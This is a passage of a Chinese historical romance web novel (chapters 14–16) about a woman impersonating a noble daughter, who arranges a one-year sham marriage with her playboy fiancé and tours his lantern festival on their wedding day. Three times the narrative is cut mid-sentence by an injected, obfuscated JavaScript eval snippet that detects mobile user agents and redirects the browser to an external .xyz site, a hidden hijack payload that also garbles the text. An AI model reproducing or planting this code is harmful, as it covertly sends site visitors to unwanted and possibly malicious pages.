俩一唱一和,乐善只含着若有似无的笑,作冷眼旁观,后来主持过来打破僵持的氛围,领着江三奶奶、大小姐、七小姐去佛前烧香祈福。 乐善再次借口信道,独自留在斋室。 室内只剩她和红夫,红夫矮身跪在她身前添茶,低声说:“抄经的事,就算小姐不愿,也先敷衍下来,过后我来代劳就是,何必跟她们针尖对上麦芒?” 乐善点醒她,说:“红夫,我不是嫁进去当贤妻贞妇的,何须忍气吞声。你想,和她们第一次见面,一个老妪就敢对我颐指气使,要我做这做那,真过了门了,难道会有好日子过?” 红夫醒悟:“原来如此。” 乐善说:“你放心好了,我自有主张。” 兀自等了大半晌,乐善心知她们有意怠慢,也不去恼,索性叫上红夫,到寺后池塘看莲花出水。 最后是江敏亲自找来,见面她又先是一阵告歉:“府上传话,说庄子上出了事,叔母赶着过去处理,先行一步,把七妹妹也一块捎带回去了,望你见谅。” 乐善明知故问:“姐姐不跟着一同回去,是专等着我吗?” 江敏就笑:“我回去了,你怎么办?你今日是跟着江家的马车来的,我自然有义务把你全须全尾地送回去。” “多谢姐姐。”乐善露出感激的神色。 然而今日真是诸事不宜,回城的时候,套马车的辔头又裂开了。 天色将暗,女子本来不便在外逗留,江敏急得团团转,呵责下人:“出门的时候怎么不仔细检查?现在回去,一来一回也有得耽搁。” 乐善旁观者清,还劝:“现在发现是好事,要是半途辔头松开,后果不堪设想。” 被她一说,江敏神色一凛,也有点后怕了。 乐善不忘提醒:“现在回去新取辔头,也不晚。” 江敏忙点头,催促一个下人赶紧回去。 寺院外只有稀稀落落的香客了,连小贩也准备收摊回去,在马车内干等也不是事,乐善本想提议进去寺内等待,忽听江敏一声轻呼。 乐善下意识侧目,从江敏故意半挑开的窗看去,有一人一马从远山青霭里疾驰而来。 这一幕真像置身一幅水墨画中,作画者一定熟知会稽的好山好水,不然怎会想到借来天地的势,作他一个人的陪衬? 随着马蹄渐近,那人面容逐渐清晰,是青年俊朗的脸。他带着昭昭的笑意,向车窗内一望,正好和乐善的视线对上。 乐善带点探究和他对视,他仿佛对她也有点好奇。 “蒲清!” 直到江敏叫他,那人方才把目光从乐善身上收回,含笑叫了一声大姐,然后问江敏:“这位小姐是?” “这是杨家的小姐。” 江敏冲乐善笑笑,说:“这是我的三弟,江蔺。” 乐善将头一点,垂下眼睛,做出疏离有礼的闺秀小姐模样。 怕她觉得难堪,江敏放下车帘,弯身出去。乐善坐在车内,把他们的对话听得一清二楚。 江敏问:“你今日不是和燕客游猎去了吗?怎会突然现身在此。” 江蔺说:“回城路上碰见府里下人,说你的马车坏了,被困此处,正好我马上装备齐全,索性赶来救急。” “亏你小子有心,那我去同杨小姐说一声。” 江敏没一会儿又进来了,笑说:“妹妹,这下好了,我们不用久等了,蒲清他正好可以送我们回去。” 乐善微笑说好,人家好心好意,她自然不会拒绝。 14. 第 14 章 14 西风残照,远山夹道间,一位鲜衣青年游猎归来。 “少爷,你不去英雄救美吗?”小家僮俞敦紧紧策马跟随,大声问。 “不去。” 风声正喝喝,传来他模糊的回话,俞敦只以为听错了,迟疑说:“三少爷都去了。” “你也说有人献殷勤了,那么何须我再过去?” 青年勒停了马,转过头来,露出一张俊美风流的脸,正是江萼。 俞敦看他淡然处之,拿他没办法,心想,真是皇帝不急太监急,嘀咕说:“可那位是咱们未来的少奶奶,合该您去,三少爷才是,他去凑什么热闹?” “那有什么关系?” 婚书上的名字能改一回,就能一改再改,江萼不以为意。 俞敦却为他鸣不平,说:“三少爷太不仗义,我看他是想要夺人之妻,亏得他平日没少和少爷称兄道弟。” 江萼笑了:“他要真帮我解决了这一件大麻烦,我谢他还来不及。” 俞敦哪懂这里面弯绕,只晓得一个劲地劝:“少爷您这样不行,难道一辈子都不娶妻吗?” “娶妻有什么好,只会束手束脚。”停下久了,座下骏马喷出重重鼻息,似有些焦躁,江萼勒紧缰绳轻吁。 马儿受伏,扬蹄长嘶,他在碧水青峦中畅抒胸臆,“我只愿此生美妾萦绕、簪履香艳、靡乐轻暖,足此醉生梦死一生。” 俞敦这下真有点困惑了,大概少爷和他一个小小家僮的想法不一样吧:“都说老婆孩子热炕头,在外劳作,心里也会有个盼头,少爷怎么就不愿意呢?” 江萼并不介怀,说:“人各有志。”然后含笑打趣,“好啊,原来是你想娶房媳妇儿了,看我回去告诉你爹。” 俞敦是天镜园管家俞坚的独子,往日一提他爹,准要发怵,今日倒扭捏作态起来,半晌不吭声。 江萼心下了然,哈哈大笑,然后扬鞭一抽,只见空中一道银光闪过,一人一马如疾电奔出,一骑绝尘而去。 俞敦大惊,大叫:“少爷,等等我啊!”连忙驱马追赶。 …… 回到天镜园已经天黑了,江萼在门前下马,将银鞭丢给马夫,跨步迈阶入内。堂屋之内,有不速之客堂而皇之鸠占鹊巢。 江萼对他熟视无睹,叫俞叔开饭。 江蔺毫无自觉,大喇喇坐着,笑说:“你是该谢我一顿饭,我可替你把新娘子全须全尾的送了回去。” 江萼扫他一眼,纳闷问:“你没别的事?” “没有。”江蔺拿目光打量他,故意问,“你就不好奇,不问问我新娘子究竟是怎样的一个人?” 江萼轻睨他一眼,那意思很显然:“不是有你巴巴赶上来告诉我吗?” 江蔺说:“真狡猾啊。” 然后把今日开善寺内发生的事简单说了,说完嘿的一声,乐不可支:“看来是个硬气的,日后对上老太太不知会有怎样的精彩,府上有得热闹看了。” 任他说着,江萼不置一词,也不知是听进去了,还是兀自出神了。 须臾,家僮端着食盒鱼贯而入,俞敦一一摆放出来,有酿炙白鱼、清炖狮子头、水晶肴肉、鸡油菇心、蟹粉豆腐羮…… 江蔺立刻笑了:“你是早知我来,今日才这样丰盛吧?” 他是太自来熟,只要稍一搭理,立刻甩不掉他。江萼懒得给他眼色。 对他有时候矜高的架势,江蔺也习以为常了,抬手叫俞敦拿酒:“别小气,就要你少爷新藏的梅子酿。” 宴至中盘,兴许是酒壮人胆,江蔺突然说:“燕客,你不愿意娶她,就别耽搁她。” 江萼眉轻挑,问:“你愿意?” “我愿意!”江蔺没有丝毫犹豫,来之前就想好了要跟他开诚布公,“我承认,对我这样的出身,我起先是只看重她是弘农杨氏的小姐,但是今日开善寺外一闻一见,我突然觉得她会是一位好妻子,也说不定呢?这样的女子不可多求,燕客,愿你成全我!” “我无不可。”江萼眼也没眨,答应下来,仿佛他们讨论的不是他未婚的妻子。 江蔺松口气,酒也不喝了,站起来告辞。 “多谢你了,接下来就看怎么说服老太太了。” 出于玉成的好心,江萼不得不提醒,笑说:“老太太不难办,但她不是件货物,你问过她答应吗?” 江蔺也笑了,不免要敬一杯酒:“多谢你今日承让,我这不是顺利英雄救美了吗?至少给她留下了一个好印象吧。” 江萼跟他碰杯,不置可否。 行馆内,主仆二人也正用餐。 红夫说:“我看今日一切过于巧合,三公子江蔺和大小姐江敏是亲姐弟,他们都是江家大房的公子小姐,说不定是串通好的,不然辔头早不坏晚不坏,怎么偏偏那个时候坏了。” 乐善当然知道,世上没有无缘无故的示好,今日江敏对她是体贴过头了。 但她并不放心上,随口问:“三公子是怎样的一个人?” 红夫很踌躇,还是告诉她了:“口碑人缘都很不错,据说他平易近人、热情好客,但凡认识他的,就没有不夸他的。” 乐善思忖:“听起来,大有可取之处啊。” 红夫也说:“是啊,就是出身不好…” 乐善经这几日恶补,也知道了江家大抵的情形。大房庶出,一向不受重视,二房三房虽都是江老夫人所出,但人心总有偏颇。 相比二房常年的人丁冷清,人到老年,江老夫人自然更喜欢子孙承欢膝下的热闹氛围,何况三房孙子还争气。 眼见乐善执著发呆,红夫不由得问:“小姐,你在想什么?” 乐善在想,出身不好有什么关系?王侯将相,宁有种乎!就是当今开国皇帝,年少时也做过落难的草莽。 倘若她真是杨娥,宁肯铤而走险嫁给江蔺,管他真心假意,是否只是想在她这里得到什么。反正她自己也不是对婚姻一无所求。两人各取所需,搭伙过完一生,在她不是不能想象。 然而她不是杨娥,也不准备和他们谁执手到老。 到这一步了,这桩婚事单纯只为争一口气了,嫁给庶子,无疑是落了下乘,世人背地里不知会怎样嚼舌根。 这话不好跟红夫交心,乐善只是笑,聊发感慨,说:“当了一回香饽饽,虽然明知有诈,但还真是有点受宠若惊。” 红夫就没她好气性,也许也是联想到了自己小姐,忍不住迁怒:“食言而肥,兄夺弟妻,我看江家就没一个好人。” 乐善心如止水,笑说:“今日开善寺一游,倒是启发了我,杨家各房,各有心思,不是铁板一块。” “小姐,你想要从这里做文章?”红夫也是一点就透。 乐善说不错:“对他江萼色诱不行,利诱恐怕也未必得见效,至于威逼,你我无权无势,实在有心无力。幸而今日三公子给了我一个借口,正好率先向他诘问,然后破釜沉舟,和他谈一谈条件。” 红夫问:“只是……他肯答应我们的条件吗?” 乐善并无十足的把握,但眼下迫在眉睫,不容她再迟疑了:“且看着吧,不过在这之前,你得先帮我送一封请帖到天镜园,我要约四公子见一面。” 红夫说好,但不确定能否成功见到,提醒说:“当地约定俗成,婚前夫妻不得见面,理应避嫌…” …… 天镜园内,门房拿着一封请帖,急匆匆向书房走去。 书房大门紧闭,饶是在外面也听得见里面传来忽高忽低争吵的声音。门房哪敢打扰,只好问同样候在门外的俞敦。 “敦哥儿,怎么了这是?” 俞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773868|174462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敦也无奈,努嘴小声说:“还不是为花灯会的事,真烦人。” 全会稽有能耐的灯匠都来了,江萼坐在上首主位,听他们你一言我一言的说开了。 “燕客少爷请明鉴,历来花灯穷尽工巧之余,难以照顾其他。” “何况灯暗,也自有一种朦胧之美。” 江萼一哂:“花灯不亮,也敢叫作灯?休再赘言,你们造的灯不亮,那就回去把蜡心加粗,亦或换了薄纱罩,重新装饰来过。总而言之,我要中秋那晚的花灯亮如白昼,犹如天上银河倒灌。” 有人急了:“这这…只剩下几日了,如何改动得了?” “不急,你们好好思考。”江萼拍了板。 说着,他伸手扯下书案上的红缎,下颌微抬示意,灯匠们面面相觑,只见木盘之中银光晃晃,赫然是白银十锭。 院子里,江萼正问门房的话。 “你说是谁送的请帖?” “落款是未来的少奶奶。” “弘农杨氏的小姐?”俞敦奇了,偷看一眼他少爷,江萼听到说了,仿佛也有点新奇的样子。他想,少爷碍于面子一定不好相问,便由他这忠仆代劳了,因问,“她请帖里说了什么?” “她请燕客少爷明日午后拨冗到问山楼一叙。” “不见。”这回江萼想也没想,很干脆道。 门房小心问:“少爷可有回绝的理由?” 一个两个也真是胆子肥了,江萼看他一眼。 门房快吓死了,然而一个是少爷,一个是未来的少奶奶,两边他都得罪不起,不得已硬起脸皮说:“那丫头还在门上等着,说一定得得到准话才走。” 还是俞敦反应得当:“你真傻,就糊弄说,婚前夫妻理应避嫌,她小姑娘家,难道好意思再追问吗?” 门房这回是真快哭了,说:“杨小姐仿佛也料到这句话,说,少爷不像是会墨守成规的人。” 激将而已,江萼没那么容易上当,转身就要回去。 门房忙说:“那丫头还说了,她小姐手上有一卷吴道子《八十七神仙卷》的真迹,请教少爷,难道不想一睹为快吗?” 江萼站住了脚。 他想。 …… 翌日,问山楼。 俞敦笑嘻嘻的,跟在江萼身后一起登楼,忍不住多嘴问:“少爷,你和少奶奶现在会面算是私相授受吗?” 江萼说:“滚。” “嗳!” 俞敦麻溜地应了一声,替他推开门,然后老老实实候在门外。 门内,靠窗的位子正坐着一个戴帽女郎,身后她的丫鬟听见动静,迎上来请安,在她默许下也自觉带上门出去了。 乐善转过头来,做了请的手势。 江萼并没动,乐善也不怎么介意,笑说:“总有老一辈的人说,夫妻婚前见面不吉,说得仿佛像真的一样。公子以为呢?” 江萼说:“我没那么迷信。” “真好,我也没有。” 乐善利索揭帽,帷纱下露出一张灵秀雅丽的脸。江萼觉得面熟,稍一思索,想到曾在集古斋见过她。 彼时她作男装打扮,头顶青巾上镶着一块通透晶莹的白玉,衣履也很讲究,袖袍底下藏的暗纹精美绝伦。即使面生得很,但能从她举止间那种不紧不慢、不卑不亢的气度看出她一定出身世家大族。 江萼只一眼就看出她是女子,但没想到会是她,弘农杨氏的小姐。 俞叔不是说她是很端庄娴静的性情吗?居然也敢女扮男装偷溜上街。更让他意想不到的,是她拿出那卷明显不是真迹的《八十七神仙卷》。 “你在诓我?”江萼气极反笑。 乐善当然不会承认,冲他歉然一笑:“想必是我那丫鬟说错了,把摹作当成了真迹,还请公子见谅呀。”竟推脱得干净。 15. 第 15 章 15 江萼对她不免另眼相看,心想,俞叔的小道消息过了时了。但来都来了,索性听她要说什么,江萼拉过椅子,和她对面而坐。 乐善懒得废话,开门见山:“贵府的三公子想要求娶我,是江公子你默许的吧?” 江萼明知故问:“小姐叫我来,原来是为这一件事情问罪来了。” 乐善说:“原来江公子也知道心虚?” 江萼吊儿郎当地说:“我有什么好心虚的?诗经里也说:窈窕淑女,君子好逑。三哥他是想娶,但愿意不愿意,全凭小姐的心意。” 这人说话倒是漂亮坦荡,但乐善并不轻信,因为就算他没有暗中作梗,也一定顺水推舟了。不然,三公子不会这样一无忌惮。 乐善摇头,说:“但我不愿意。” “看来有人是弄巧成拙了。”江萼没有替人惋惜的闲心,哪怕那是他的堂兄。 “你就不好奇我为什么拒绝他吗?” 既然她要求了,江萼从善如流地问:“为什么?” “自然是因为和他门不当户不对。” “小姐居然这么势利眼?”江萼蹙眉,故意大惊小怪地问。 乐善当然绝不错过调侃他的机会,含蓄一笑: “自然比不得江公子豪掷百金的潇洒。” 江萼也笑了:“所以才给你了可乘之机,拿幅摹作诓我。” 乐善听了,好像真的很纳闷似的,不免要说:“我想公子也是懂画之人,应该知道目前吴道子并无真迹流传于世,因此就是名家摹写之作,那也千金难求,我好心请公子前来赏画,公子怎么无端冤我呢?” 江萼早推翻了对她的印象,对她的话半信半疑。 乐善当他的面把那卷摹作在桌上摊开了来,邀请说:“江公子,请掌眼。” 真不愧是《八十七神仙卷》,图上八十七位神仙衣袂飘飘,持幡旗、伞盖,抱贡品、乐器,浩浩荡荡上天朝拜。画是白描,线条错落有致,仿佛富有风动的效果,确实是最具典型的“吴带当风”之作。 其实要不是纸张太新,江萼并不能一眼拿准这幅画不是真迹。只怕吴道子本人再世亲临,一时也会花了眼,不敢辨认。 至于她言之凿凿名家摹作,江萼仍然存疑。他狐疑地看她一眼,是真有请教之意,问:“图上印章俱毁,怎么知道是哪位名家之作?” 是她父亲的旧作,乐善心酸,掩饰一笑。 薛翙多年前赠与爱徒周羣,以贺进官,今日被她拿来变作筹码,赌他一面。 乐善献图,是下了大决心的——以防打草惊蛇,暴露行迹,图上她父亲的印红,她不得不含泪尽数毁去。 因向他含糊其辞,说:“我眼力不佳,见识浅薄,因此才特地要请教江公子。” 江萼显得漫不经心,说:“画看过了,小姐还有什么话,一并讲了吧。” 乐善感慨一笑,说:“江公子这么不耐烦,看来是真的不愿意娶我啊。” 江萼说:“我没打算不娶你。” 没打算,不娶。 乐善唇边笑意稍减,莫名恼怒,心想,到底是十分的不情愿,连话也不会说了。她就忍不住要说怪话了:“江公子真不懂体贴人,‘我愿意娶你’和‘我没打算不娶你’,听在旁人耳里完全是两样呀。” 江萼无所谓:“结果不都一样吗?” 乐善噎了一下,才说:“是啊,你不娶我,也有别人要娶,我不嫁你,也还得嫁旁人,横竖我们都没得再挑,我倒有一个好建议,不知江公子肯不肯赏脸听听?” “小姐请讲。” 乐善利落说:“索性你我一拍即合,做一对假夫妻,你看如何?” 这话太骇然了,不该出自她一个大家闺秀之口。但江萼看她一眼,突然觉得有点意思了,问:“怎么个说法?” “我们做假夫妻,约法三章。” “首先,婚后我绝不干涉你任何行为,知情识趣是我最大的诚意,你要纳妾也好,蓄伎也罢,我绝没有不答应的。” “其次,我名下的嫁妆,不论田产店铺,还是头面首饰,我与江公子平分。” 江萼不动声色,好似兴趣缺缺,没打动到他。 乐善深呼一口气,继续说: “以上,一年为期。” “一旦期满,你可以以‘七出无子’为由,强迁我到道观休养,之后最多半年,再对外宣告我不治病亡。” “小姐对自己这么狠心?”江萼这回是真惊诧了。 乐善脸色淡淡的,陈述说:“我只想脱离这个身份而已。” 真是有趣,堂堂世家小姐,居然有勇气跳脱家族之外,江萼不禁又要对她刮目相看了。他眼里带着笑意,问,“既然是约法,对我,想必小姐也有三个条件了。” 乐善说那当然了。 “第一,我要你心甘情愿的娶我,以最盛大的仪式迎亲,给全会稽的百姓都看见。” “第二,我要掌家,至少在明面上,天镜园内所有开支都要我过目,但你只管放心,我在此向你承诺,那些家财我绝不染指。” 江萼听懂了,笑得像个狐狸一样暧昧:“一争面子,二挣底气,小姐真是机关算计,不可小觑啊。” 他简直要拍手称奇,尊她为当世奇女子了。 乐善就是这点好,管他是真讥讽,还是假敬佩,听进心里都当是赞许,只管微微一笑,很受用了。 “那么第三条呢?”他接着问。 “同样一年为期。” 看他一时沉吟不语,仿佛在他是很为难的样子,乐善不由得眉头一拧,连声催促,说:“到时你亡妻,我金蝉脱壳,两全其美的事,江公子还在犹豫什么?” 真是急性子啊,江萼就笑,忍不住要逗她:“我是怕你日久生情,不肯走了。” 乐善立刻冷笑:“我还怕你心有回转,不放我走呢。” 两人对视一眼,突然同时笑了出来。乐善心下有成算了,笑说:“看样子,江公子是肯答应我了。” “小姐有命,不敢不从啊。”他噙着笑,偏跟她贫嘴一句,一副轻薄的模样,果然不是什么正经人,她暗暗地想。 …… 乐善回到行馆,安心待嫁了。 这桩婚事传到外面如何喧闹,她是不管的了,了却一桩难题,连日来看严妪也觉得她眼睛是眼睛,鼻子是鼻子,顺眼多了。 只有红夫最焦心,说:“时间根本不多,他答应要给最盛大的仪式,怎么可能赶得及的嘛?别是他诓人的。” 乐善反过来宽慰她,说:“他们纨绔子弟,读书是不行,别的个顶个的精通,何况繁华在他是信手拈来的,你不用操心,只管看好了。” 到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788484|174462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了中秋那日,天未破晓,行馆里就喧哗渐起,虽说一应准备俱全,仍旧忙得像打仗一般。红夫这时就展现出了她贴身丫鬟的手腕,她只管叉着腰站在门前,时不时调拨人手,把大伙儿指挥得条条有理。 乐善犹是睡眼惺忪,也被严妪强行从床上拉起,换过厚重的喜服,推到铜镜前端坐。 开脸、梳髻,已是折腾了大半晌,然后又是敷粉、描眉,乐善困得直点头,险些把头上的花冠歪掉,惹得红夫大急,叫:“小姐!” 乐善被她一叫,立刻又老实坐直了。 其实不怪她困,是昨晚周羣偷溜进行馆,跟她讲了近日会稽城的大事。其中有件居然就跟她相关,乐善好奇,自然打破砂锅问到底。 原来每到中秋,会稽城内家家都挂花灯,更有那豪门贵族之中盛行斗灯,谁家花灯会办得大,办得好,办得奢靡浪费,办得人人称道,谁就是这年的魁首。来年放灯,便由他来第一个点灯。 因为这个心照不宣的彩头,引得许多纨绔子弟争相置办灯会,挥霍无度。 红夫当时听了,也不免直摇头。 乐善敏锐意识到一点,问:“江萼想必也办,难道会和我有关?” 周羣说:“是啊,他放了话,说他今日这场花灯会是专为师妹你一人办的。” 鬼话,乐善听听就算了。 转念却想到,真不愧是他,本来中秋看灯的百姓就多,先有江杨两家联姻不睦的传言,现在又有他为未婚妻独办花灯的声势,就是浑不相干的庄稼汉也会心生好奇吧?只怕到时迎亲路上,百姓倾城而出要看热闹了。 周羣说:“只要他办得还过得去,今年魁首非他莫属了。” 就是,还说她好算计呢,他一样心机不少,乐善心想,分明是践行给她的承诺,他竟灵机一动,也从中占尽了便宜。 幸而乐善并不反感,还说:“他最好是魁首,不然敢利用我造声势,看我饶不了他。” 只可惜迎亲在酉时,到时乐善只能乖乖待在花轿里,做别人期望的新娘子。 这场为她而办的花灯会,当事人是注定没法亲眼目睹了。 “时辰快到了,赶紧些!”红夫盯守着每个环节,一边紧声催促着。 忙了大半日,时间来到傍晚。 乐善完全不知这半日是如何度过的,只感觉到后来简直头晕眼花,头重有如千钧,压得她不得不将背挺得笔直,只怕一整日下来,这个身子都不再是她自己的了。 完全堪比十大酷刑啊,她忍不住要叫苦。 紧赶慢赶,总算临上花轿了。 出门前,满屋子的仆妇、丫鬟都望着她,无不夸赞新娘子漂亮,尽管乐善往铜镜里一照,根本认不出里面敷粉凃朱的女子是谁。 真是她吗? 乐善蓦地想到六姐薛慈,当年彼此的玩笑言犹在耳,现在她真到出嫁这日了,虽然明知她是假冒的,明知夫君也不会是肯给她牵马的人——明知眼前一切不是真的,但这一刻,她无比真切的希望爹娘、亲人要是都在身边就好了。 红夫递来一把雕饰精美的缎扇,打断她的伤感,该怪这氛围触动,乐善拿扇遮面,极力掩饰了,才能不掉下泪来。 她一步一步走到院中,在严妪的示意下,先朝弘农杨氏的祖望之地拜了三拜。此为辞亲。 然后在簇拥恭维间,上了花轿。 16. 第 16 章 16 在震天的锣鼓声中,花轿起轿了。 独坐轿中,没人投以目光,乐善心里松快了一些,可还是不敢动,生怕一动,头上冠饰歪掉,叫人家日后笑话,说新娘子不端庄。 可是僵着脖子,目光直勾勾瞪着眼前的轿帘,好像行尸走肉啊。 “小姐,你再忍一下吧,就快要到了。” 红夫一路扶轿跟随,听见她的埋怨,低声劝说。 其实行馆离江家不远,按说没有多少路程,然而临上轿前,男方迎亲的队伍突然告知他们更改了路线,美名其曰是为让全城百姓都沾沾新妇的喜气。 这一改,至少要绕半圈镜湖,沿途经过会稽最繁华的园亭之后,才入江府拜堂。 乐善虽知他是在故意造势,但苦坐轿中的是她,看灯也看不着,光听外面的响动,勾得她心痒,恨得也牙痒。 “外面什么样,灯会漂亮吗?”她小声问。 红夫也是见过世面的丫鬟,仍旧感慨不已,回她说:“真漂亮啊。” 真漂亮是什么样?乐善很纳闷了,不免心有怨怼,心说难怪杨娥之前也笑骂过,说红夫不肯好好读书。但凡这丫头肚里有点墨水,也能多多描绘几句,供人畅想一番啊。 乐善遗憾极了,不免又叹口气。 也许因为前方青石板路不平的缘故,轿身突然一颠,乐善下意识扶稳了轿壁,谁知还没反应过来,前头迎亲的唢呐声突然也暂停了,然后她听见四周一阵惊呼,议论声渐起。 乐善完全不明所以,还以为前方出了什么事变呢,但出门前严妪一再嘱咐,说今日再是天大的事情,新嫁娘是无论如何也不兴出头的。她只好按捺住好奇的心情,安静待在轿中。 忽然,红夫微微惊讶的声音传来,她说:“小姐,四公子向你走过来了。” 江萼无视周围百姓惊诧的目光,叫停了唢呐,翻身下马,走向喜轿。 “都说会稽观灯,最好的地方在西桥,桥上观灯洞若观火,无微不见。” 他伸出右手,做出邀请的姿态,笑说,“前方就是西桥了,杨小姐,这场为你而办的花灯会,错过实在可惜,你不想看看吗?” 严妪急白了脸,立马叫道:“小姐不可!大庭广众之下,新妇绝不能够抛头露面。” 江老夫人跟前的老妇朴妪吓得也劝:“燕客少爷,此举太哗然了,简直堪称惊世骇俗,传扬出去一定叫人非议,那又怎生是好?” 江萼含笑不语,因为笃信她会出来。 …… 他问,你不想看看吗? 毋庸置疑,她当然想。然而此举实在是有违世俗的眼光,就是有贼胆的乐善,也一瞬间犹豫了。 她想,假若是杨娥,一定不会答应。但她自始至终就没打算效仿杨娥的行事作风——扮演另外一个人,就好像东施效颦,不是长久伪装之道。 乐善心定下来,拿好了主意。 “红夫,扶我下轿。” 在无数个劝止的人当中,红夫嗳了一声听令,上前打起轿帘,小心地托住里面伸出来的那只纤细柔荑。 围观的百姓原本挤在长桥两岸,闻动立刻喧哗不停,远远只见新娘子弯腰出了花轿,先有那满头艳晶晶的珠冠压鬓边,再有那浑身堆金叠玉的霞帔锦绣堆—— 百姓们热情地涌动着,争相探出头,恨不能一睹新娘子的芳容。然而叫大家都失望了,她的脸完全笼在流金溢彩的宝石缎扇后面,没法看得真切。 乐善假装矜持,轻轻借搭一张丝帕,才肯将指尖交到江萼手中。 她轻声道:“江公子真是造势的高手,今日过后,贵府的老太太只怕对我印象不佳了。”虽然她并没什么遗憾的情绪。 江萼虚虚地托着她的手,带她往桥上走,郎貌女才,人人投以钦羡的目光,自觉避退,为他们让出一条路来。 漫天灯花中,他用只有彼此能听见的声音,含笑说:“你是嫁给我了,又不是嫁给老太太,她对你印象好与不好,有什么相干?” 今日但凡换了别人,都不可能跟他一块标新立异。乐善借机就问:“就不知江公子对我印象如何呢?” 江萼低头看她,四周珠灯亮如白昼,照明宝石缎扇后面那一双粲亮的双眼,她有所察觉,坦然回以注视。 然后他真就这么想了一想,笑说:“我的妻子知情识趣,我岂敢印象不好。” 乐善说是啊,假惺惺地回敬:“能为夫君拔得花灯会的头筹,妾亦是义不容辞。” 之后相率登上西桥,江萼随口跟她介绍:“有一桩会稽旧俗,民间戏称为走灯桥,据说一对有情人若在中秋这日在花灯桥上相会,便能永结同心,白头偕老。” 乐善不解风情,说:“上一对在桥上相会的有情人,一年只见得上一面。” 她说的是牛郎织女鹊桥相会的传奇,江萼当然知道。 乐善感到奇怪,问:“为什么拿桥来做文章?要是没能在桥上相会,难道要像尾生抱柱一样死等?” 这又是蓝桥梦断的故事了,真难为她出口就是引经据典,江萼忍不住说:“如此良辰美景,你别不合时宜了。” 乐善于是狐疑地看他一眼,问:“你真信啊?” 江萼瞥她一眼,那意思很显然:要信,就不带你来了。他坦白说:“我先跟你讲,是怕你多心。” 多心。 乐善怀疑他别有所指,也许是在揶揄刚才她回敬的那句,她话里话外都在暗讽他拿未婚妻子做噱头。 难道不是。 难道真是好心请她观灯? 不得不说,今日这灯会是真好看啊,尤其站在桥头上往下一望,漫天犹如数斛萤火倾尽,璀璨夺目。 河里飘灯,街口挂灯,楼上悬灯,天上放灯,入目的灯恐怕数以万计,极尽奢华。灯用烧珠、料丝、羊角、剔纱做成,皆尽描金细画之力,灯上挂灯谜、写吉祥语、绘连环故事图,无不精益求精,相映生辉。 乐善看得忘情,不觉拿低了缎扇,痴痴张望。 “请小姐指教。”江萼笑说。 然而虽是请教的姿态,他脸上不无得意的神气。 “真漂亮啊。” 乐善深受震撼,原来在真正的美景面前,人的语言是最苍白无力的工具,先前她真错怪了红夫,换了自己,同样无法描述。 然后,她在万千灯光下问出一句大煞风景的话:“这得费资多少啊?” 说完她自己也觉得了,太俗气了,好在江萼不以为然,随口说:“也就几千金吧。” 几千金,换一夜鱼龙舞,真不愧是会稽城中最纨绔的公子,好大的手笔。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792996|174462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “江公子腰缠万贯,怎敢轻易答应和我的约定?” 她要掌家,势必要装模作样清点他的家财,他就不怕露了财给她惦记吗? 乐善是推己及人,不由得要说一句,“不怕贼偷,也怕贼惦记啊。”浑然忘了,这话竟把她自己比作了贼。 江萼气定神闲,点评说:“要做千金贼,小姐没有那样的气魄。” 乐善瞪他一眼,江萼笑了:“我说的是实话,你光瞪我也没用啊。” 乐善哼了一声,说:“我知道你心里怎样想的,钱财都是身外之物,你敢有挥金如土的气势,自然也有千金散尽还复来的自信。” 江萼装腔作势地一揖,笑说:“多谢小姐抬举。” 大庭广众之下也这个轻薄样,底下满是看热闹的百姓,回去还不知会怎样乱传。乐善板起脸来,故意问:“你就不怕我缓缓图之,不图财,就图你这个人?” 那他真要对她肃然起敬了,江萼就笑:“毕竟夫妻一场,你要图我也不是不可以讲讲价。” 乐善从前人称呆霸王一个,绝不是会娇羞的人,何况明知他在戏弄,她怎么肯甘拜下风? 她哦了声,掩扇冲他一笑:“好啊,要叫价多少,公子才肯今夜扫榻以待?” …… 看尽了花灯会,花轿复又起行,紧赶慢赶,唢呐吹得急促,总算没误了吉时。 喜堂就设在江府的堂屋,金红的绫罗绸缎来做装点,喧天鼓乐中,来贺的嘉宾也满脸的喜气洋洋,一致望着门外,翘首以盼一对新人。 江蔺站在人群中,神情复杂。从他知道婚事一切照旧,他就赶去天镜园,满腹的疑窦到了嘴边只余一句为什么? 分明自己事先和他打过招呼,他也答应了,何以临时改变心意? “没什么原因,突然就想娶她了。”江萼回答,他是一向这样随心所欲。 江蔺说不上来什么心情,只管气恼,说:“我知道你半年前就在筹备灯会,所以你放话说中秋夜的花灯会是为她而办,根本不是真的,燕客,你根本是在拿她做噱头,好赢你的魁首。” 